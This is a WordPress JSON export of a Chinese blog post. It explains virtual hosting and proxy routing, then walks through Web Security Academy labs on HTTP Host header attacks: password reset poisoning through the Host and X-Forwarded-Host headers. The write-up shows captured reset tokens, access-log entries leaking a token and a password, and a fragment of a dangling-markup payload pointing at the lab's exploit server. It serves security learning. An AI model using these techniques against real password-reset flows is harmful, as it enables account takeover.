{"id":941,"date":"2024-08-17T16:04:25","date_gmt":"2024-08-17T08:04:25","guid":{"rendered":"http:\/\/xiyu12.top\/?p=941"},"modified":"2024-08-17T16:04:25","modified_gmt":"2024-08-17T08:04:25","slug":"host%e4%b8%bb%e6%9c%ba%e5%a4%b4","status":"publish","type":"post","link":"http:\/\/www.xiyu12.top\/?p=941","title":{"rendered":"host\u4e3b\u673a\u5934"},"content":{"rendered":"\n

\u5f15\u5b50<\/p>\u6709\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4e0d\u540c\u7684\u4e3b\u673a\u5934\u8bbf\u95ee\u540c\u4e00\u4e2aIP\u4e0a\u4e0d\u540c\u7684\u5185\u5bb9\uff0c\u8fd9\u662f\u600e\u4e48\u5b9e\u73b0\u7684\uff1f<\/cite><\/blockquote><\/figure>\n\n\n\n

1. Virtual hosting \u865a\u62df\u4e3b\u673a<\/p>\n\n\n\n

\u865a\u62df\u4e3b\u673a\u6280\u672f\u5141\u8bb8\u540c\u4e00\u4e2a\u670d\u52a1\u5668\u4e0a\u6258\u7ba1\u591a\u4e2a\u5e94\u7528\u7a0b\u5e8f\uff0c\u7528\u6237\u901a\u8fc7\u6307\u5b9ahttp\u5934\u4e2d\u7684host\u5b57\u6bb5\uff0c\u8ba9\u670d\u52a1\u5668\u901a\u8fc7\u5224\u65adhost\uff0c\u5c06\u4e0d\u540c\u7684\u8bf7\u6c42\u8def\u7531\u5230\u5bf9\u5e94\u7684\u7ad9\u70b9\u6216\u5e94\u7528\u3002<\/p>\n\n\n\n

\u4e00\u4e2aweb\u670d\u52a1\u5668\u4e0a\u6258\u7ba1\u591a\u4e2a\u5e94\u7528\u7a0b\u5e8f\u6216\u7f51\u7ad9\uff0c\u6709\u53ef\u80fd\u662f\u5355\u4e00\u6240\u6709\u8005\u7684\u591a\u4e2a\u7f51\u7ad9\uff0c\u4e5f\u53ef\u80fd\u662f\u4e0d\u540c\u6240\u6709\u8005\u7684\u7f51\u7ad9\u6258\u7ba1\u5728\u540c\u4e00\u4e2a\u670d\u52a1\u5668\u3002<\/p>\n\n\n\n

2.Routing traffic via an intermediary \u901a\u8fc7\u4e2d\u4ecb\u8def\u7531\u6d41\u91cf<\/p>\n\n\n\n

\u53e6\u4e00\u79cd\u60c5\u51b5\u662f\u7f51\u7ad9\u6258\u7ba1\u5728\u4e0d\u540c\u7684\u540e\u7aef\u670d\u52a1\u5668\uff0c\u5728\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u5668\u4e4b\u95f4\u6240\u6709\u6d41\u91cf\u901a\u8fc7\u4e2d\u4ecb\u7cfb\u7edf\u8def\u7531\u3002<\/p>\n\n\n\n

\u4e2d\u4ecb\u8def\u7531\u7cfb\u7edf\uff0c\u7b80\u5355\u7684\u8d1f\u8f7d\u5e73\u8861\u5668\u6216\u67d0\u79cd\u53cd\u5411\u4ee3\u7406\u670d\u52a1\u5668\uff0c\u5ba2\u6237\u7aef\u901a\u8fc7\u5185\u5bb9\u4ea4\u4ed8\u7cfb\u7edf\uff08cdn\uff09\u8bbf\u95ee\u670d\u52a1\u5668\u65f6\uff0c\u8fd9\u79cd\u8bbe\u7f6e\u5c24\u5176\u666e\u904d\u3002<\/p>\n\n\n\n

\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u670d\u52a1\u6258\u7ba1\u5728\u4e0d\u540c\u7684\u540e\u7aef\u670d\u52a1\u5668\uff0c\u4f46\u662f\u6240\u6709\u7684\u57df\u540d\u4e5f\u4f1a\u89e3\u6790\u4e3a\u4e2d\u95f4\u7ec4\u4ef6\u7684\u5355\u4e2aIP\u3002<\/p>\n\n\n\n

\u8fd9\u65f6\u4e2d\u95f4\u7ec4\u4ef6\u901a\u8fc7host\u5b57\u6bb5\u4e3a\u6bcf\u4e2a\u57df\u540d\u89e3\u6790\u5230\u5bf9\u5e94\u7684\u540e\u7aef\u670d\u52a1\u5668\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4e00\u3001burpsuite \u7684 HTTP Host header attacks  HTTP\u4e3b\u673a\u6807\u5934\u653b\u51fb \u5b9e\u9a8c\u5ba4<\/h3>\n\n\n\n

\u5bc6\u7801\u91cd\u7f6e<\/h4>\n\n\n\n

\u5b9e\u9a8c\u5ba4\u901a\u8fc7\u5bf9\u4e00\u4e2a\u5bc6\u7801\u91cd\u7f6e\u6f0f\u6d1e\u7684\u590d\u73b0\u6765\u4f53\u73b0 \u4e3b\u673a\u5934host\u5b57\u6bb5\u7684\u4f5c\u7528<\/p>\n\n\n\n

1.web\u670d\u52a1\u5668,0a8500f8039d37318501588300ab00b1.web-security-academy.net<\/p>\n\n\n\n

2.\u90ae\u4ef6\u670d\u52a1\u5668,exploit-0a08004b03c5379f85db570601df002d.exploit-server.net<\/p>\n\n\n\n

\u62e5\u6709\u4e00\u4e2a\u8d26\u6237 wiener\uff1apeter<\/p>\n\n\n\n

web\u670d\u52a1\u5668\u767b\u9646\u540e\u53ef\u4ee5\u67e5\u770b\u81ea\u5df1\u7684\u90ae\u4ef6\u5730\u5740\uff0c\u540c\u65f6\u7f51\u7ad9\u6709\u4e00\u4e2a\u627e\u56de\u5bc6\u7801\u7684\u529f\u80fd\u70b9<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

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\"\"<\/div><\/figure>\n\n\n\n

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\"\"<\/div><\/figure>\n\n\n\n

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\"\"<\/div><\/figure>\n\n\n\n

\u53ef\u4ee5\u770b\u5230\u5c1d\u8bd5\u4e86\u591a\u4e2a\u7528\u6237\uff0c\u53ea\u6709winner\u7684\u7528\u6237\u7684\u53d1\u9001\u7684\u8bf7\u6c42\u66f4\u6539\u5bc6\u7801\u7684\u7684\u8bf7\u6c42\u53ef\u4ee5\u88ab\u6211\u4eec\u63a5\u53d7\u5230\uff0c\u56e0\u4e3a\u6211\u4eec\u62e5\u6709 winner \u8fd9\u4e2a\u7528\u6237 \u548cwinner \u7684\u90ae\u7bb1\u3002<\/p>\n\n\n\n

\u540c\u65f6\u5f53\u6211\u4eec\u4f7f\u7528winner \u8fd9\u4e2a\u7528\u6237\uff0c\u4f46\u662f\u5c06host \u5b57\u6bb5\u66f4\u6539\u4e3a thesistest \u65f6<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u53ef\u4ee5\u770b\u5230 \u8fd4\u56de\u7684\u91cd\u7f6e\u5bc6\u7801\u7684\u94fe\u63a5\u4e2d\u6709\u4e00\u4e9b\u66f4\u6539<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6309\u6b63\u5e38\u7684\u903b\u8f91\uff0c\u62e5\u6709\u8fd9\u4e2a\u7528\u6237\u7684\u4eba\u624d\u53ef\u4ee5\u5728\u81ea\u5df1\u7684\u90ae\u7bb1\u8bbf\u95ee\u91cd\u7f6e\u5bc6\u7801\u7684\u94fe\u63a5\uff0c\u91cd\u7f6e\u81ea\u5df1\u7684\u5bc6\u7801\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4f46\u662f\u6211\u4eec\u5e94\u8be5\u77e5\u9053 \u6bcf\u4e00\u6b21\u8bf7\u6c42\u91cd\u7f6e\u5bc6\u7801\u90fd\u4f1a\u89e6\u53d1 \u4e00\u4e2a\u53d1\u9001\u90ae\u4ef6\u7684\u52a8\u4f5c<\/p>\n\n\n\n

\u5f53\u8bbf\u95eecarlos \u7528\u6237\u65f6\uff0c\u5c06\u53d1\u9001\u4e00\u4e2a\u91cd\u7f6e\u5bc6\u7801\u94fe\u63a5\u5230 carlos\u90ae\u7bb1\uff0c\u540c\u65f6\u6211\u4eec\u6ce8\u610f\u5230\u5b9e\u9a8c\u5ba4\u8bbe\u7f6e carlos\u7528\u6237\u4f1a\u53ca\u65f6\u70b9\u51fb\u8fd9\u4e2a\u94fe\u63a5\u3002
\u6211\u4eec\u5bf9\u670d\u52a1\u5668\u7684\u8bbf\u95ee\u4f1a\u5728access log \u4e2d\u4f53\u73b0\uff0c\u90a3\u4e48\u5f53\u8fd9\u4e2a\u94fe\u63a5\u88ab\u4fee\u6539\u901a\u5411\u670d\u52a1\u5668\uff0c\u6211\u4eec\u53ef\u4ee5\u67e5\u770b\u5230token

\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u4e00\u4e2ahost \u4e3a\u90ae\u4ef6\u670d\u52a1\u5668\uff0c\u7528\u6237\u540d\u4e3acarlos \u7684\u8bf7\u6c42

<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u83b7\u5f97\u4e86\u4e00\u4e2atoken \uff1ayvm17xu7fngf99pv9o0j5yc5m4r3bzy7<\/p>\n\n\n\n

\u786e\u5207\u7684\u8bf4\uff0c\u662f\u83b7\u5f97\u4e86 \u91cd\u7f6e\u5bc6\u7801\u7684\u94fe\u63a5\uff0c\u53ea\u8981\u5c06\u94fe\u63a5\u4fee\u6539\u4e00\u4e0b\uff0c\u8bbf\u95ee\u5c31\u53ef\u4ee5\u8fdb\u5165\u91cd\u7f6e\u5bc6\u7801\u7684\u9875\u9762\u3002<\/p>\n\n\n\n


10.0.4.193 2024-08-17 12:07:19 +0000 “GET \/forgot-password?temp-forgot-password-token=yvm17xu7fngf99pv9o0j5yc5m4r3bzy7 HTTP\/1.1” 404 “user-agent: Mozilla\/5.0 (Victim) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/127.0.0.0 Safari\/537.36”<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u5728\u8fd9\u4e2a\u573a\u666f\u4e2d host \u662f\u786e\u5b9aweb\u670d\u52a1\u5668\u57df\u540d\u7684\u6807\u5fd7\uff0c\u7528\u6237\u540d \u662f\u751f\u6210token\u7684\u6750\u6599\uff0c\u4e5f\u662f\u6307\u5b9a\u90ae\u4ef6\u53d1\u9001\u5730\u5740\u7684\u6807\u5fd7\u3002<\/p>\n\n\n\n

\u6309\u7167\u6b63\u5e38\u7684\u60c5\u51b5\uff0c\u4f3c\u4e4e\u5e94\u8be5\u7531\u7528\u6237\u81ea\u5df1\u63d0\u4ea4\u90ae\u7bb1\u5730\u5740\uff0c\u8fd9\u91cc\u600e\u4e48\u7531\u7528\u6237\u540d\u6765\u6307\u5b9a\u5bf9\u5e94\u7684\u90ae\u7bb1\u5730\u5740\u3002\uff08\u662f\u5e94\u8be5\u7531\u7528\u6237\u540d\u6765\u67e5\u627e\u7528\u6237\u81ea\u5df1\u8bbe\u7f6e\u7684\u90ae\u7bb1\u5730\u5740\uff0c\u53ea\u6709\u6ce8\u518c\u624d\u5e94\u8be5\u7531\u7528\u6237\u81ea\u5df1\u63d0\u4f9b\u90ae\u7bb1\u5730\u5740\u3002\uff09<\/p>\n\n\n\n

\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u91cd\u7f6e\u5bc6\u7801\u7684url \u4e2dweb\u670d\u52a1\u5668\u5bf9\u5e94\u7684\u57df\u540d\uff0c\u7531host\u5b57\u6bb5\u63d0\u4f9b\uff0c\u5f53\u6211\u4eec\u4fee\u6539host\u5b57\u6bb5\uff0curl\u6307\u5411\u7684\u670d\u52a1\u5668\u5c31\u88ab\u4fee\u6539\u4e86\u3002<\/p>\n\n\n\n

\u91cd\u8981\u7684token \u5c31\u4f1a\u88ab\u53d1\u9001\u5230 \u653b\u51fb\u8005\u6307\u5b9a\u7684\u57df\u540d\u670d\u52a1\u5668\u3002<\/p>\n\n\n\n

password reset poisoning \u7f51\u7ad9\u6846\u67b6\u6216\u4e2d\u95f4\u4ef6\u914d\u7f6e\u4e0d\u5f53 \u5b9e\u9a8c\u5ba4<\/h3>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5c1d\u8bd5\u6784\u5efa \u573a\u666f1.\u865a\u62df\u4e3b\u673a \u5f53\u670d\u52a1\u5668\u4e0a\u6709\u4e5d\u4e2a\u7f51\u7ad9\u6bcf\u4e2a\u90fd\u9700\u8981\u91cd\u7f6e\u5bc6\u7801\uff0c\u91cd\u7f6e\u5bc6\u7801\u7684\u6d41\u7a0b\u662f\u5ba2\u6237\u7aef\u5411\u670d\u52a1\u7aef\u8bf7\u6c42\u91cd\u7f6e\u5bc6\u7801\uff0c\u7f51\u7ad9\u5411\u5bf9\u5e94\u7528\u6237\u7684\u90ae\u4ef6\u670d\u52a1\u5668\u53d1\u9001\u4e00\u4e2a\u90ae\u4ef6 \uff0c\u90ae\u4ef6\u4e2d\u5305\u542b\u4e00\u4e2a\u91cd\u7f6e\u5bc6\u7801\u7684\u94fe\u63a5\uff0c\u70b9\u51fb\u94fe\u63a5\u53ef\u4ee5\u8df3\u8f6c\u5230\u529f\u80fd\u70b9\u3002<\/p>\n\n\n\n

\u73b0\u5728\u95ee\u9898\u6765\u4e86\uff0c\u91cd\u7f6e\u5bc6\u7801\u7684url \u9700\u8981\u4f7f\u7528\u57df\u540d\u6307\u5411\u5bf9\u5e94\u7684\u7f51\u7ad9\u3002\uff081\uff09\u7531\u7f51\u7ad9\u6765\u53d1\u9001\u90ae\u4ef6\uff0c\u7f51\u7ad9\u4e0d\u53ef\u4ee5\u5c06url\u5199\u6b7b\u5417\uff1f<\/p>\n\n\n\n

\u4e0a\u8ff0\u7684\u573a\u666f\uff0c\u53ef\u4ee5\u4e0d\u4f7f\u7528\u52a8\u6001\u8c03\u6574\u57df\u540d\u3002<\/p>\n\n\n\n

2.\u4e2d\u4ecb\u8def\u7531 <\/p>\n\n\n\n

\u591a\u53f0\u670d\u52a1\u5668\u540e\u7aef\u670d\u52a1\uff1a\u5f53\u4f60\u6709\u591a\u4e2a\u540e\u7aef\u670d\u52a1\u5668\u670d\u52a1\u4e8e\u540c\u4e00\u4e2a\u57df\u540d\u6216\u591a\u4e2a\u57df\u540d\u65f6\uff0c\u901a\u5e38\u4f1a\u4f7f\u7528\u53cd\u5411\u4ee3\u7406\uff08\u5982 Nginx\u3001HAProxy\uff09\u6216\u8d1f\u8f7d\u5747\u8861\u5668\u6765\u5206\u53d1\u8bf7\u6c42\u3002\u8fd9\u4e9b\u4ee3\u7406\u670d\u52a1\u5668\u4f1a\u5c06\u8bf7\u6c42\u8f6c\u53d1\u5230\u9002\u5f53\u7684\u540e\u7aef\u670d\u52a1\u5668\uff0c\u5e76\u53ef\u80fd\u901a\u8fc7 X-Forwarded-Host \u5934\u6765\u4f20\u9012\u5ba2\u6237\u7aef\u8bf7\u6c42\u7684\u539f\u59cb\u4e3b\u673a\u540d\u3002<\/code><\/pre>\n\n\n\n
\u603b\u800c\u8a00\u4e4b\uff0c\u5f53\u6211\u4eec\u4fee\u6539 X-Forwarded-Host   \u4e3b\u673a\u5934\uff0c\u76ee\u6807\u670d\u52a1\u5668\u8bbe\u7f6e\u4e3a  \u81ea\u5df1\u9009\u62e9\u7684\u670d\u52a1\u5668\u3002<\/p>\n\n\n\n
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‘<a href=”\/\/exploit-0a3900ca0421ea8480254840014600f5.exploit-server.net\/?<\/p>\n\n\n\n
<p>Hello!<\/p><p>Please <a href=&apos;https:\/\/0ac1009f04e4ea7c80f0493f00a20080.web-security-academy.net\/login&apos;>click here<\/a> to login with your new password: guxthhaoM3<\/p><\/p>\n\n\n\n
10.0.4.234      2024-08-18 08:24:07 +0000 \"GET \/?\/login'>click+here<\/a>+to+login+with+your+new+password:+EAl6JlKOG2<\/p><p>Thanks,<br\/>Support+team<\/p><i>This+email+has+been+scanned+by+the+MacCarthy+Email+Security+service<\/i> HTTP\/1.1\" 200 <\/pre>\n","protected":false},"excerpt":{"rendered":"
\u5f15\u5b50 \u6709\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4e0d\u540c\u7684\u4e3b\u673a\u5934\u8bbf\u95ee\u540c\u4e00\u4e2aIP\u4e0a\u4e0d\u540c\u7684\u5185\u5bb9\uff0c\u8fd9\u662f\u600e\u4e48\u5b9e\u73b0\u7684\uff1f 1. Virtual hos […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-941","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/941","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=941"}],"version-history":[{"count":0,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/941\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=941"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=941"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=941"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}